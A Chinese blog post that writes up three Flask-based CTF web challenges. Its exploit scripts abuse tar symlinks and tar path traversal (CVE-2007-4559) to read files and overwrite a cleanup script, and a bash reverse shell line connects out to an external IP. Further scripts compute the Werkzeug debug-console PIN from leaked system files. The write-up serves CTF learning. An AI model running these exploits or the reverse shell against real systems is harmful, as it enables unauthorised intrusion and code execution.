[NSSRound#6 Team]Web题解

5 分钟

前言

日常做点题娱乐下,刷到了[NSSRound#6 Team]中是三道web题,学习到了不少,记录下知识点。


提示:以下是本篇文章正文内容,下面案例可供参考

一、[NSSRound#6 Team]check(V1)

  1. 进入题目,直接给出了源码,是python的flask框架。
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if (os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)
能够进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了..和/符号。

解题的主要思路在于:

 tar = tarfile.open(file_save_path, "r")
 tar.extractall(app.config['UPLOAD_FOLDER'])
可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag。
import requests

s = requests.session()


def upload():
    url = 'http://43.142.108.3:28036/upload'
    resp = requests.post(url, files={'file': open(file='flag.tar', mode='rb')})
    print(resp.text)


def download():
    url = 'http://43.142.108.3:28036/download'
    resp = s.post(url, data={'filename': 'flag'})
    print(resp.text)


if __name__ == "__main__":
    upload()
    download()
"""
ln -s /flag flag
tar -cvf flag.tar flag
先软连接指向/flag,然后上传并文件即可
"""
check(v2)的解也是一样的

二、[NSSRound#6 Team]check(Revenge)

  1. 源代码:
# -*- coding: utf-8 -*-
from flask import Flask, request
import werkzeug.debug
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if os.path.exists(file_save_path):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    if os.path.islink(filepath):
        return '?'

    if oct(os.stat(filepath).st_mode)[-3:] != '444': #文件权限位
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'


# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)
代码通过增加了os.path.islink(filepath)判断下载的文件是否存在软连接,存在则返回?进而导致了不能使用上面的解法。

解题思路:

  1. CVE-2007-4559漏洞,可以通过tar.extractall()函数的漏洞,解压文件时候,覆盖掉目录中的文件
    在这里插入图片描述
  2. flask开启了debug=true模式,会有/console控制台,计算出PIN码即可进入控制台。

关于flask框架中PIN码的计算,PIN码的计算通过werkzeug中debug进行计算,主要代码的如下:

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
将两个参数probably_public_bits, private_bits的值进行sha1加密,再加密了cookiesalt和pinsalt。

probably_public_bits参数如下:

 probably_public_bits = [
    username, #用户名,即/etc/passwd中的某用户
    modname, #默认flask.app
    getattr(app, "__name__", type(app).__name__), #名称,默认Flask
    getattr(mod, "__file__", None), #app.py的路径
] 

private_bits参数:

private_bits = [str(uuid.getnode()), get_machine_id()] #uuid.getnode()获取mac地址的十进制值,get_machine_id()获取机器ID


def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux
通过获取/etc/machine-id或/proc/sys/kernel/random/boot_id值以及/proc/self/cgroup的值,拼接起来返回,因为docker机可能没有/etc/machine-id的值,所以只获取一个就break。

总的来说,PIN码的简单计算如下:

  1. 获取MAC地址的十进制值 /sys/class/net/eth0(ens33)/address
  2. 获取一段machine-id的值,/etc/machine-id+/proc/self/cgroup或/proc/sys/kernel/random/boot_id+/proc/self/cgroup,/etc/machine-id的优先级要/proc/sys/kernel/random/boot_id比高
  3. 通过SHA-1算法以及加盐计算出PIN码

解题:

  1. 上传tar文件,覆盖掉clean.sh,调用clean()函数调用exp.sh,进行反弹shell
    exp.sh如下:
bash -c "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1"

exp.py如下:


import requests as req
import tarfile


def changeFileName(filename):
    filename.name = '../../../../tmp/clean.sh'
    return filename


with tarfile.open("exp.tar", "w") as tar:
    tar.add('exp.sh', filter=changeFileName)


def upload():
    url = 'http://43.143.7.127:28589/upload'
    response = req.post(url=url, files={"file": open("exp.tar", 'rb')})
    print(response.text)


def clean():
    url = 'http://43.143.7.127:28589/clean'
    response = req.post(url)
    print(response.text)


if __name__ == "__main__":
    upload()
    clean()

在这里插入图片描述
在这里插入图片描述

flag文件中并没有flag,flag应该在you_could_never_guess_the_flag_path中,但是只有root用户能够读取,发现main.py是root权限运行,可以计算PIN码进入console控制台获取到flag
  1. 计算PIN码
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

python环境是3.10,路径是/usr/local/lib/python3.10/site-packages/flask/app.py

因此可以计算出PIN码:

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376926199',  
    '96cec10d3d9307792745ec3b85c896208a9b826a2fbed5b2148857d4d630f05c481cf898014dbbfc396e4924ea79d250'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

利用PIN码登录console控制台即可获取flag
在这里插入图片描述

三、[HSCSEC]EZSYFLASK 其它题目

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route("/")
def index():
    return 'GET /view?filename=app.py'


@app.route("/view")
def viewFile():
    filename = request.args.get('filename')
    if "flag" in filename:
        return "WAF"
    if "cgroup" in filename:
        return "WAF"
    if "self" in filename:
        return "WAF"
    try:
        with open(filename, 'r') as f:
            templates = '''{}
            '''.format(f.read())
            return render_template_string(templates)
    except Exception as e:
        templates = ''''''
        return render_template_string(templates)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=True)
就是一道直接算PIN,读flask的题目,当时比赛的时候没查到该怎么读docker-id,因为cgroup和self都被过滤了,后来看别人WP看到可以读/proc/1/cpuset或者/proc/1/mountinfo
import hashlib
from itertools import chain
probably_public_bits = [
    'app'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
    str(int("02:42:ac:02:0b:53".replace(":",""),16)),
     '7265fe765262551a676151a24c02b7b6'+'b733d101c2e332fe0da54516ff5905c11f378d4b07a0514f7bf5e07a3d85f2ad'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

在这里插入图片描述

总结

主要是关于PIN码的计算,先从/etc/passwd获取到shell的用户,然后通过shell命令获取app.py的路径和版本,然后再获取MAC地址转换十进制,最后获取/etc/machine-id或/proc/sys/kernel/random/boot_id与/proc/self/cgroup拼接,/etc/machine-id要比/proc/sys/kernel/random/boot_id,然后根据python的版本获取计算PIN码的算法,此处是SHA1,计算出PIN码。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:[NSSRound#6 Team]Web题解
文章链接:https://aiwin.fun/index.php/archives/1436/
最后编辑:2024 年 1 月 4 日 17:02 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 7 + 8 =
快来做第一个评论的人吧~